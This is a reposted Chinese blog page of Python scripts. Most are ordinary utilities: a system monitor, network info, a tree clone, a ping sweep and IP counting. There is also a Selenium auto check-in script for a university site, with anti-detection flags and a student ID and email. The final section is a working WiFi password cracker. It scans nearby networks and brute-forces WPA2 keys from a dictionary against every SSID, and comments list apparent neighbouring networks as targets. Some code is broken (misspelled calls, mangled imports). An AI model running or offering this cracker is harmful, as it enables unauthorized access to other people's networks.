admin管理员组文章数量:1574959
目录
一键查看ip、cpu、内存
一键查看网关、ip、dns
实现Linux里tree命令
检测某个网段的ip存活情况
农大网站dk
统计前十的ip
破wifi
一键查看ip、cpu、内存
#!/usr/bin/python3
#解决Linux环境依赖yum install gcc gcc-devel python3-devel -y
import psutil
import datetime
def linux_monitor():
# cpu的使用率
cup_per = psutil.cpu_percent()
# 内存使用率
mem_per = psutil.virtual_memory().percent
# 磁盘使用率
disk_per = psutil.disk_usage('/').percent
# 网络使用情况 收发多少数据 net.bytes_recv、net.bytes_sent
net = psutil_io_counters()
# 获取当前系统时间
current_time = datetime.datetime.now().strftime("%F %T")
# 拼接显示
str = ""
str+= "|---------time--------|---cpu---|----memory----|----disk----|--------------net-------------|\n"
str+= "| %s | %s%% | %s%% | %s%% | recv:%.2fMB sent:%.2fMB |\n" \
% (current_time, cup_per, mem_per, disk_per, net.bytes_recv/1024/1024, net.bytes_sent/1024/1024)
print(str)
linux_monitor()
一键查看网关、ip、dns
import netifaces
# 获取你的网卡接口
port=netifaces.interfaces()[1]
ip_add=netifaces.ifaddresses(f'{port}')[2][0]['addr']
gateway=netifaces.gateways()[2][0][0]
print(f"ip地址是:{ip_add}\n网关地址是:{gateway}")
with open("/etc/resolv.conf") as fp:
lines=fp.readlines()
for line in lines:
if line.split()[0] == 'nameserver':
dns=line.split()[1]
print(f"dns地址是:{dns}")
实现Linux里tree命令
import os
def py_tree(filename,depth):
#首次路径输出以及判断是否是文件,是直接打印输出,退出函数
if depth==0:
print(filename)
if(os.path.isfile(filename)):
return 0
#循环递归
for file in os.listdir(filename):
#按照depth输出当前文件夹下的内容
print('| '*depth,end='')
print('|__' + file)
#如果内容又是文件夹就调用自己形成递归,深度要加一
if os.path.isdir(os.path.join(filename, file)):
py_tree(os.path.join(filename, file),depth+1)
py_tree('E:/三创/数据结构与算法资料总结',0)
检测某个网段的ip存活情况
import IPy
from pythonping import ping
from multiprocessing import Process
# ping 网段地址
def test_ip(ip):
res = ping(ip,timeout=1)
time.sleep(2)
with open("ret.txt", 'a+') as fp:
if res.success():
print(str(ip) + ":" + "up")
fp.write(str(ip) + ":" + "up\n")
else:
print(str(ip) + ":" + "down")
fp.write(str(ip) + ":" + "down\n")
# # ip_net=input("输入网段:")
ip_net="192.168.2.0/24"
ips = IPy.IP(ip_net)
p_lst = []
if __name__=='__main__':
for ip in ips:
p=Process(target=test_ip, args=(str(ip),))
p_lst.append(p)
p.start()
[p.join() for p in p_lst]
print("end...")
农大网站dk
"""
@name : test
@author : zhangjian
@projectname: tlbb
#思路一:python脚本放到手机里运行,需要找一个计划任务的方法
#思路二:python脚本放到电脑里运行,由于电脑端打不开网页,需要找一个模拟手机端的方法,让脚本能顺利获取数据,脚本可放在windows计划任务或者虚拟机上自动执行
目标网站:http://xgxt.hunau.edu/wap/main/welcome
"""
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdrivermon.keys import Keys
from selenium.webdrivermon.by import By
def daka():
'''
模拟手机端网页自动打卡
:return: 打卡成功的截图的文件名
'''
# 账号密码
username = '201941903609'
password = '你的密码'
# 模拟手机端页面
options = webdriver.ChromeOptions()
mobileEmulation = {'deviceName': 'iPhone X'}
options.add_experimental_option('mobileEmulation', mobileEmulation)
# 反反爬虫
options.add_argument("--disable-blink-features")
options.add_argument("--disable-blink-features=AutomationControlled")
# 禁用sandbox
# options.add_argument('--no-sandbox')
# options.add_argument('--disable-dev-shm-usage')
# options.add_argument('blink-settings=imagesEnabled=false')
# options.add_argument('--headless')
# 发起请求
driver = webdriver.Chrome(options=options)
driver.get('http://xgxt.hunau.edu/wap/main/welcome')
time.sleep(8)
# 登录
driver.find_element(By.XPATH, '//*[@id="uname"]').clear()
driver.find_element(By.XPATH, '//*[@id="uname"]').send_keys(username)
driver.find_element(By.XPATH, '//*[@id="pd_mm"]').clear()
driver.find_element(By.XPATH, '//*[@id="pd_mm"]').send_keys(password)
driver.find_element(By.XPATH, '//*[@id="sign-in"]/div/input[1]').click()
time.sleep(5)
# 点击每日打卡
driver.find_element(By.XPATH, '//*[@id="tabbar-menu"]/ul[2]/li[1]/a/span/i').click()
time.sleep(5)
# # 点击打卡
driver.find_element(By.XPATH, '//*[@id="data_list_id_add_btn"]').click()
time.sleep(8)
# # 点击保存
driver.find_element(By.XPATH, '//*[@id="form_body_save_btn"]').click()
time.sleep(5)
# 保存打卡成功界面的截图
filename = time.strftime("%Y.%m.%d-%H%M%S", time.localtime()) + ".png"
driver.save_screenshot(filename) # 截屏
time.sleep(5)
driver.quit() # 关闭浏览器
return filename
import smtplib
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.header import Header
def send_mail(filename):
'''
将打卡成功的截图用邮件发送给自己
:param filename:
:return:
'''
sender_mail = 'dami_zhang@foxmail'
to = ['dami_zhang@foxmail']
sender_pass = '你的授权码'
# 设置总的邮件体对象,对象类型为mixed
msg_root = MIMEMultipart('mixed')
# 邮件添加的头尾信息等
msg_root['From'] = 'dami_zhang@foxmail<dami_zhang@foxmail>'
msg_root['To'] = ','.join(to)
# 邮件的主题,显示在接收邮件的预览页面
subject = '打卡成功'
msg_root['subject'] = Header(subject, 'utf-8')
# 构造图片
image_file = open(filename, 'rb').read()
image = MIMEImage(image_file)
image.add_header('Content-ID', '<image1>')
image['Content-Disposition'] = "attachment; filename='red_people.png'"
msg_root.attach(image)
try:
sftp_obj = smtplib.SMTP('smtp.qq', 25)
sftp_obj.login(sender_mail, sender_pass)
sftp_obj.sendmail(sender_mail, to, msg_root.as_string())
sftp_obj.quit()
print('sendemail successful!')
except Exception as e:
print('sendemail failed next is the reason')
print(e)
if __name__ == '__main__':
send_mail(daka())
统计前十的ip
import random
def top10ip():
"""随机生成一个120000行的ip文件,然后打印出现频率前十的ip"""
with open("ipadd.txt", "w+") as fp:
# 生成120000行ip地址
for i in range(120000):
num1 = random.randint(1, 255)
num2 = "172.25.254." + str(num1) + "\n"
fp.write(num2)
# 将光标移到文本开头处
fp.seek(0)
dict1 = {}
for ip in fp:
# 去除首尾的\n符号
ip = ip.strip()
# 将ip地址写进字典dict1
dict1[ip] = dict1.get(ip, 0) + 1
top = 10
# 取字典值最大的前10个键值
print(sorted(dict1.items(), key=lambda x: x[1], reverse=True)[:top])
top10ip()
破wifi
"""
@name : wifi
@author : zhangjian
@projectname: tlbb
"""
import pywifi
import time
from pywifi import const
# WiFi扫描模块
def wifi_scan():
# 初始化wifi
wifi = pywifi.PyWiFi()
# 使用第一个无线网卡
interface = wifi.interfaces()[0]
# 开始扫描
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
print('\r扫描完成!\n' + '-' * 38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
# 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
bss = interface.scan_results()
# 存放wifi名的集合
wifi_name_set = set()
for w in bss:
# 解决乱码问题
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
# 存入列表并按信号排序
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
# 格式化输出
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
# 返回wifi列表
return wifi_name_list
# WIFI破解模块
def wifi_password_crack(wifi_name):
# 字典路径
# wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
wifi_dic_path = "common.txt"
with open(wifi_dic_path, 'r') as f:
# 遍历密码
for pwd in f:
# 去除密码的末尾换行符
pwd = pwd.strip('\n')
# 创建wifi对象
wifi = pywifi.PyWiFi()
# 创建网卡对象,为第一个wifi网卡
interface = wifi.interfaces()[0]
# 断开所有wifi连接
interface.disconnect()
# 等待其断开
while interface.status() == 4:
# 当其处于连接状态时,利用循环等待其断开
pass
# 创建连接文件(对象)
profile = pywifi.Profile()
# wifi名称
profile.ssid = wifi_name
# 需要认证
profile.auth = const.AUTH_ALG_OPEN
# wifi默认加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
# wifi密码
profile.key = pwd
# 删除所有wifi连接文件
interface.remove_all_network_profiles()
# 设置新的wifi连接文件
tmp_profile = interface.add_network_profile(profile)
# 开始尝试连接
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
# 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
if interface.status() == 4:
print(f'\r连接成功!密码为:{pwd}')
return True
else:
print(f'\r正在利用密码 {pwd} 尝试破解{wifi_name}。', end='')
return False
# 主函数
def main():
# 退出标致
exit_flag = 0
# 目标编号
target_num = -1
while not exit_flag:
try:
print('WiFi万能钥匙'.center(35, '-'))
# 调用扫描模块,返回一个排序后的wifi列表
wifi_list = wifi_scan()
# 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
# choose_exit_flag = 0
# while not choose_exit_flag:
# try:
# target_num = int(input('请选择你要尝试破解的wifi:'))
# # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
# if target_num in range(len(wifi_list)):
# # 二次确认
# while not choose_exit_flag:
# try:
# choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
# # 对用户输入进行小写处理,并判断
# if choose.lower() == 'y':
# choose_exit_flag = 1
# elif choose.lower() == 'n':
# break
# # 处理用户其它字母输入
# else:
# print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
# # 处理用户非字母输入
# except ValueError:
# print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
# # 退出破解
# if choose_exit_flag == 1:
# break
# else:
# print('请重新输入哦(*^▽^*)')
# except ValueError:
# print('只能输入数字哦o(* ̄︶ ̄*)o')
# 密码破解,传入用户选择的wifi名称
for target_num in range(len(wifi_list)):
print(f"正在破解{wifi_list[target_num][1]}")
if wifi_password_crack(wifi_list[target_num][1]):
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
#19-403、cccm、湘宁珊人、tp-402、TP-LINK_51B9
版权声明:本文标题:python几个功能脚本 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1727781859a1129399.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论